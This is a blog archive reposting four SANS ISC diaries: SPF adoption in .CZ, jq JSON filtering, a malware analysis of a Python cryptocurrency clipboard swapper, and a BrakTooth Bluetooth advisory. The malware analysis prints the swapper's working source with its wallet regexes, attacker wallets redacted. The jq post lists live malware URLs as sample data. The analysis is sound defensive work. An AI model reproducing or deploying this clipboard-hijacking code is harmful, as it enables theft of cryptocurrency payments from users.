Blog

Archive for August, 2021

There may be (many) more SPF records than we might expect, (Wed, Aug 25th)

The Sender Policy Framework (SPF[1]) is a simple but fairly powerful mechanism that may be used (ideally in connection with DKIM[2] and DMARC[3]) to combat phishing to some degree. Basically, it allows a domain name owner to publish a special DNS TXT record containing a list of servers that are authorized to send e-mails for that domain. Existence of this record and its contents is automatically checked by modern e-mail servers whenever they receive an e-mail that appears to come from a certain domain and if the sending server is not on the “approved list” for that domain, the message may be dealt with in a special way – for example marked as potentially fraudulent, moved to a quarantine folder, or even dropped entirely.

The structure of an SPF record is quite simple – after an SPF version specification (v=spf1) one may list “directives”. These are specifications of IP addresses, domain names or other DNS records, that identify valid sources of e-mail for the domain (they may be preceded by a + symbol or – in some instances – an “include” keyword). After the list of “approved senders”, the record should end with a directive that specifies that no other servers may send e-mail for that domain. This may be done by ~all (so called “softfail”) or -all directives, which indicates that no other servers are approved for sending e-mail for that domain.

One might end an SPF record using a “neutral” ?all directive, which would basically mean “an e-mail coming from all other sources, than the ones explicitly listed, should be treated as if this SPF record didn’t exist” (which can be useful for initial deployment or troubleshooting, but defeats the purpose of SPF in any other case, at least when it’s used on its own without DMARC). An SPF record might even end using a +all directive, which would specify that all sources that were not mentioned are explicitly permitted to send messages for the domain. Setting such an SPF record would however be completely nonsensical, since it would basically allow all servers everywhere to legitimately send e-mail on behalf of the domain in question.

A typical SPF record might therefore look like this one, which is currently set for wikimedia.org:

v=spf1 ip4:91.198.174.0/24 ip4:208.80.152.0/22 ip6:2620:0:860::/46 include:_spf.google.com ip4:74.121.51.111 ~all

Some SPF records may include additional mechanisms and be slightly more complex, but for our purposes, the form mentioned above (a list of “valid” senders followed by -all or ~all directive) is quite sufficient.

What’s important to note is that if a record doesn’t specify how e-mail from “all” other senders should be treated (i.e. it doesn’t end in ~all or -all directive), then a ?all directive is implicitly added to its end. This means that a record that is not properly terminated makes very little impact, since it only specifies “allowed” senders, but does not specify that any other sender is not allowed to send e-mails on behalf of the domain.

Although it may seem strange, given what we just mentioned, it is widely accepted that a not insignificant number of SPF records do explicitly end with the ?all directive, which is something that phishing authors sometimes use to their advantage[4,5].

At this point you might reasonably ask what is meant by “a not insignificant number of records”.

Although I can’t offer you hard data for the entire internet, I am in the position to do so for a small part of it – specifically for the .CZ TLD.

The Czech national domain name registry, CZ.NIC (which also operates the Czech National CSIRT) recently created a tool that allows them to scan (literally) all of the domains in the CZ ccTLD space for arbitrary “properties”, such as supported TLS ciphersuits or specific DNS records. And since “misconfigured” SPF records are a pet peeve of mine, ever since I learned about the existence of this tool, I have been bothering a colleague from the National CSIRT, @e2rd_rejthar, with requests for data for SPF-related DNS records. This week, he was kind enough to send them to me, which means I can now share with you fairly exact numbers related to SPF use (though – admittedly – only in a very small part of the internet).

As you may see from the chart, there were many more SPF records than one might have expected (or, at least, that I would have). There were 1,401,785 .CZ domains registered on the day of the scan (August 19th) and these domains used 1,101,489 SPF records in total. Since one may “chain” multiple SPF records for one domain, this does not necessarily mean that over 78.5 % of all CZ domains had SPF record set, but even so, the number is still very high.

Correction – after checking with my colleague, the 1.1M really refers to the number of individual domains with SPFv1 records set, which means that 78.5 % of .cz domains really do have an SPF record.

What’s also surprising is the comparatively small number of “less than optimally set” records. The ?all directive was present in only 35,270 records (~3.2 %) and the “whoever included this should have known better” +all directive was present in only 558 records.

Although the numbers for domains in the .cz TLD are most likely not representative of the wider internet, who knows – maybe there are significantly more SPF records overall than we might expect and perhaps the issue with ?all directives isn’t as commonplace as it used to be… We can only hope.

[1] https://datatracker.ietf.org/doc/html/rfc7208
[2] https://datatracker.ietf.org/doc/html/rfc6376
[3] https://datatracker.ietf.org/doc/html/rfc7489
[4] https://isc.sans.edu/forums/diary/Phishing+email+spoofing+SPFenabled+domain/25426/
[5] https://isc.sans.edu/forums/diary/Agent+Tesla+delivered+by+the+same+phishing+campaign+for+over+a+year/26062/

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Filter JSON Data by Value with Linux jq, (Sun, Aug 29th)

Since JSON has become more prevalent as a data service, unfortunately, it isn’t at all BASH friendly and manipulating JSON data at the command line with REGEX (i.e. sed, grep, etc.) is cumbersome and difficult to get the output I want.

So, there is a Linux tool I use for this, jq is a tool specifically written to manipulate and filter the data I want (i.e. like scripting and extract the output I need) from large JSON file in an output format I can easily read and manipulate.

The most common form of logs I work with are JSON arrays (start and end []). For example, using a basic example like this to demonstrate how to iterate over an array:

echo ‘[“a”,”b”,”c”]’ | jq ‘.[]’

which will result to this using the object value iterator operator .[] will print each item in the array on a separate line:

“a”
“b”
“c”

In this next example, I take the data from the bot_ip.json file, parse the list of IP addresses and which site they came from. Before parsing this file, here is how the raw output of the file starts:

cat bot_ip.json | jq ‘.objects[].ip + “: ” + .objects[].source’ | sort | uniq

The output looks like this:

“212.39.114.139: Botscout BOT IPs”
“216.131.104.82: Botscout BOT IPs”
“2607:90:6628:470:0:4:0:801: Botscout BOT IPs”

Since this file contains objects before the open [, I use it as an anchor to start parsing the data I want to see. I added the column (:) separator between the IP and the data source.

This second example is with mal_url.json which contain know malware URL location. Before parsing this file, here is how the file starts:

cat mal_url.json | jq ‘.objects[].value + “: ” + .objects[].source + “: ” + .objects[].threat_type’ | sort | uniq

“http://103.82.81.37:42595/Mozi.a: URLHaus: malware”
“http://103.84.240.226:45940/Mozi.m: URLHaus: malware”
“http://110.178.73.97:34004/Mozi.m: URLHaus: malware”

Using this test file available here, it contains several records that can be used to manipulate JSON data. Using wget, download the file to a Linux workstation [2] and ensure that jq is already installed (i.e. CentOS:  yum -y install jq). Next take a quick look at the raw file using a Linux command of your choice (less, more, cat, etc) before parsing some of the data with jq. To view the data properly formatted and readable, use this command:

cat large-file.json | jq | more

Manipulate the data to get a list of actors with the current information, run this command:

cat large-file.json | jq ‘.[].actor’ | more

To get just the list of actor login information, add .login to .actor:

cat large-file.json | jq ‘.[].actor.login’ | more

What are some of your favorite tools to manipulate JSON data?

[1] https://stedolan.github.io/jq/manual/
[2] https://github.com/json-iterator/test-data/raw/master/large-file.json
[3] https://gchq.github.io/CyberChef/
[4] http://iplists.firehol.org/?ipset=botscout

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Cryptocurrency Clipboard Swapper Delivered With Love , (Mon, Aug 30th)

Be careful if you’re a user of cryptocurrencies. My goal is not to re-open a debate about them and their associated financial risks. No, I’m talking here about technical risk. Wallet addresses are long strings of characters that are pretty impossible to use manually. It means that you’ll use your clipboard to copy/paste your wallets to perform payments. But some malware monitors your clipboard for “interesting data” (like wallet addresses) and tries to replace it with another one. If you perform a payment operation, it means that you will transfer some BTC or XMR to the wrong wallet, owned by the attacker.

Yesterday, I spotted a simple malicious Python script that performs exactly this.The script SHA256 is ab1ef55c9e4266e5a2b0870deefb609d3fa9d2c0ee8e0d34a2d7c080c84ca343 and has a current score of 17/57[1]. The main code is obfusctated in a Base64-encode variable.

As you can see in the code below, this script is delivered with love to the victim! Random love quotes are added in the script to defeat some automated analysis. The script is based on the pyperclip[2] library that is common in the Python ecosystem. It allows manipulating the clipboard. The fact that the script does not test if the module is already installed makes me think that this script is part of a framework or has dependencies with others.

The clipboard is controlled at regular intervals and searched for classic cryptocurrencies through regular expressions. If there is a match, the clipboard content is swapped with a rogue wallet. Two are two defined in this sample.

Here is the code:

#If I know what love is
import pyperclip
#I fell in love with her courage
import json
#If you live to be a hundred
import time
#A man is already halfway in love
import re
#Women are meant to be loved
import argparse
#You make me want to be a better man
from datetime import datetime
#Thinking of you keeps me

def main():
    # infinite keeps me
    while 1:
        now = datetime.now()
        
        time.sleep(2)  #Let me love you
        #There is never a time or place for true love
        user_clipboard = pyperclip.paste()
        #true love
        crypto_found = spiff(
            user_clipboard
        )  
        replacement_address = replace(
            user_clipboard, crypto_found
        )  
#love is so short, forgetting is so long
        
master_addresses = {
  "btc": "xxxxxxxxxx",
  "xmr": "null",
  "eth": "xxxxxxxxxx",
  "dash": "null",
  "xrp": "null",
  "doge": "null",
  "ada": "null",
  "lite": "null",
  "dot": "null",
  "tron": "null"
}
#cares and fears
def replace(user_clipboard, crypto_found):

    if crypto_found != 0 and master_addresses[crypto_found] != "null":
        pyperclip.copy(master_addresses[crypto_found])
        return str(master_addresses[crypto_found])
    return 0
#until love’s vulnerable

def spiff(user_clipboard):
    crypto_regex_match = {
        "btc": "^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$",
        "xmr": "4[0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}",
        "eth": "^0x[a-fA-F0-9]{40}$",
        "dash": "^X[1-9A-HJ-NP-Za-km-z]{33}$",
        "xrp": "^r[0-9a-zA-Z]{24,34}$",
        "doge": "^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$",
        "ada": "^D[A-NP-Za-km-z1-9]{35,}$",
        "lite": "^[LM3][a-km-zA-HJ-NP-Z1-9]{25,34}$",
        "tron": "^T[a-zA-Z0-9]{33}$",
        "dot": "^[1-9A-HJ-NP-Za-km-z]*$",
    }
    #I love you without knowing how
    for k, v in crypto_regex_match.items():
        if bool(re.search(v, user_clipboard)):
            return str(k)

    return 0
    #A purpose of human life

main()
#Love is always patient and kind

I checked the two wallets in the script but then don’t show any transaction at this time.

[Update 1]

Brian Krebs contacted me to report a story he posted a few days ago about a real case of such a clipboard swapping technique[3]. This article is worth reading!

[1] https://www.virustotal.com/gui/file/ab1ef55c9e4266e5a2b0870deefb609d3fa9d2c0ee8e0d34a2d7c080c84ca343/detection
[2] https://pypi.org/project/pyperclip/
[3] https://krebsonsecurity.com/2021/08/man-robbed-of-16-bitcoin-sues-young-thieves-parents/

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

BrakTooth: Impacts, Implications and Next Steps, (Tue, Aug 31st)

In a previous diary entry, I had written about the increasing trend of Bluetooth vulnerabilities being reported in the recent years [1]. Today, the Automated Systems SEcuriTy (ASSET) Research Group from the Singapore University of Technology and Design (SUTD) revealed the BrakTooth family of vulnerabilities in commercial Bluetooth (BT) Classic stacks for various System-on-Chips (SoC) [2]. In this diary, I will be giving a brief background on BrakTooth, highlight affected products and also discuss next steps affected users/vendors could consider.

The name BrakTooth was coined from the Norwegian word “Brak” (translates to crash in English), and “Tooth” (a hat-tip to the Bluetooth protocol). These vulnerabilities were mainly caused due to non-compliance to Bluetooth Core Specifications and their respective communication protocol layers. 13 Bluetooth devices (Bluetooth Classic versions ranging from Bluetooth 3.0 + HS to Bluetooth 5.2) from 11 different vendors were assessed. 16 new vulnerabilities were discovered, and 20 Common Vulnerability Exposures (CVE) Identifiers (IDs) were assigned (along with another 4 CVE IDs pending assignment from Intel and Qualcomm). On top of the vulnerabilities that were discovered, some devices also displayed anomalous behaviour that deviates from the Bluetooth Core Specifications [3]. The summary of vulnerabilities, anomalies, devices and patch status are outlined in Table 1 below.

Table 1: Patch Status, Vulnerabilities and SDK/Firmware Version of Affected Devices (*Contact vendor to acquire patch)
SoC/Module Vendor Bluetooth SoC Firmware/SDK Version CVE/Anomaly (A) Patch Status
Espressif Systems ESP32 esp-idf-4.4

CVE-2021-28135
CVE-2021-28136
CVE-2021-28139

A1: Accepts lower Link Manager Protocol (LMP) length

Available
Infineon (Cypress) CYW20735B1 WICED SDK 2.9.0

CVE-2021-34145
CVE-2021-34146
CVE-2021-34147
CVE-2021-34148

A2: Accepts higher LMP length
A6: Ignore encryption stop

Available*
Bluetrum Technology AB5301A Unspecified (LMP Subver. 3)

CVE-2021-34150
CVE-2021-31610

A1: Accepts lower LMP length
A2: Accepts higher LMP length

Available*
Intel AX200

Linux – ibt-12-16.ddc
Windows – 22.40.0

2 CVE IDs pending

A1: Accepts lower LMP length
A2: Accepts higher LMP length
A5: Invalid Response

Patch in progress
Qualcomm WCN3990 crbtfw21.tlv, patch 0x0002

1 CVE ID pending

A1: Accepts lower LMP length
A2: Accepts higher LMP length
A4: Ignore Role Switch Reject

Patch in progress
Zhuhai Jieli Technology AC6366C fw-AC63_BT_SDK 0.9.0

CVE-2021-34143
CVE-2021-34144

A1: Accepts lower LMP length
A2: Accepts higher LMP length

Patch in progress
Zhuhai Jieli Technology AC6925C Unspecified (LMP Subver. 12576)

CVE-2021-31611
CVE-2021-31613

A1: Accepts lower LMP length
A2: Accepts higher LMP length

Investigation in progress
Zhuhai Jieli Technology AC6905X Unspecified (LMP Subver. 12576)

CVE-2021-31611
CVE-2021-31612
CVE-2021-31613

A1: Accepts lower LMP length
A2: Accepts higher LMP length

Investigation in progress
Actions Technology ATS281X Unspecified (LMP Subver. 5200)

CVE-2021-31717
CVE-2021-31785
CVE-2021-31786

A1: Accepts lower LMP length
A2: Accepts higher LMP length

Investigation in progress
Harman International JX25X Unspecified (LMP Subver. 5063)

CVE-2021-28155

A1: Accepts lower LMP length
A2: Accepts higher LMP length

Pending
Silabs WT32i iWRAP 6.3.0 build 1149

CVE-2021-31609

A1: Accepts lower LMP length
A2: Accepts higher LMP length

Pending
Qualcomm

CSR8811/
CSR8510

v9.1.12.14

1 CVE ID pending

A1: Accepts lower LMP length
A2: Accepts higher LMP length

No fix
Texas Instruments CC2564C cc256xc_bt_sp_v1.4

CVE-2021-34149

A1: Accepts lower LMP length
A2: Accepts higher LMP length

No fix

The various patch statuses are explained as follows:

Available: The vendor has replicated the vulnerability and a patch is available.
Patch in progress: The vendor has successfully replicated the vulnerability and a patch will be available soon.
Investigation in progress: The vendor is currently investigating the security issue and is being assisted by the researchers.
Pending: The vendor hardly communicated with the researchers and the status of their investigation is unclear at best.
No fix: The vendor has successfully replicated the issue, but there is no plan to release a patch.

Utilizing the BrakTooth family of vulnerabilities, the researchers could achieve arbitrary code execution on smart home products that used ESP32 SoC, cause Denial-of-Service (DoS) attacks on laptops and smartphones, and finally induce audio products to freeze up. A preliminary examination of products listed in the Bluetooth listing indicated that over 1400 product listings were affected [4]. However, as the Bluetooth stack is likely to be shared amongst many products, there is a high possibility that many other Bluetooth products are affected by BrakTooth. As of now, the Proof-of-Concept (PoC) code is only made available to any Bluetooth semiconductor or module vendors and embargoed until the end of October 2021 (before the code is made available for the public).

How should everyone handle the usage of Bluetooth devices, especially if the devices used are affected by BrakTooth? As a start, one might want to be more aware of one’s surroundings when using Bluetooth. Since BrakTooth is based on the Bluetooth Classic protocol, an adversary would have to be in the radio range of the target to execute the attacks. As such, secured facilities should have a lower risk as compared to public areas (assuming no insiders within secured facilities). Having said that, this could also be a difficult task if an adversary manages to conceal the equipment well, though that would affect the range of Bluetooth connectivity.

For end users, it is highly recommended to check if the Bluetooth products currently being used are in Table 1. If the patches are available (or if you can contact the vendor for the patch), please apply them immediately. If the patch is in progress or if the vendor is still investigating, perhaps it would be worthwhile to watch out for any anomalous behaviour (such as the inability to reconnect to a Bluetooth connection or audio devices not responding) when Bluetooth is being in use. Turn it off (if possible) when Bluetooth is not actively in use to reduce your attack surface. Keep a close lookout for corresponding patches and update the devices when possible. If the devices used SoC where no fixes are available, it is recommended to stop using them (unless one is prepared to accept the risk of BrakTooth vulnerabilities being exploited). Finally, keep in mind that BrakTooth is not limited only to the devices tested by the researchers as the attacks apply to any Bluetooth Classic implementation. Checking just the Bluetooth chipset is not enough to confirm the existence of BrakTooth. To concretely verify that a Bluetooth device is affected by BrakTooth, users could consider obtaining the BrakTooth PoC (when it is released to public on October 31st) and test the device with it.

Organizations, governments and critical infrastructure may be using affected components as well. If stakeholders are uncertain about the extent of Bluetooth usage and the associated devices, an audit of the devices/components in use should be carried out. Following that, a risk assessment should also be conducted to assess the risk posed by BrakTooth to users or day-to-day operations. Keeping in mind the attack vector, an interim measure could very well be enhanced physical security while affected devices are patched/replaced.

Finally, for Bluetooth SoC or module vendors, it is highly recommended to contact the researchers for the PoC to test products for BrakTooth vulnerabilities [5] now. Although vendors may not be legally obliged to always keep their products secure and updated, increased adoption of Bluetooth for work and health and a rising interest in Bluetooth vulnerability research underscores the importance of such issues for consideration. In addition, as customers and users get increasingly discerning for the need of their privacy and data to be protected, it is in the vendors’ best interests to ensure product security for continued presence in the market.

The full technical details of BrakTooth can be found over here [2], and also available as a downloadable PDF file [6].

References:
[1] https://isc.sans.edu/diary/27460
[2] https://www.braktooth.com
[3] https://www.bluetooth.com/specifications/bluetooth-core-specification
[4] https://launchstudio.bluetooth.com/Listings/Search
[5] https://poc.braktooth.com
[6] https://asset-group.github.io/disclosures/braktooth/braktooth.pdf

———–
Yee Ching Tok, ISC Handler
Personal Site
Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 6 12345...»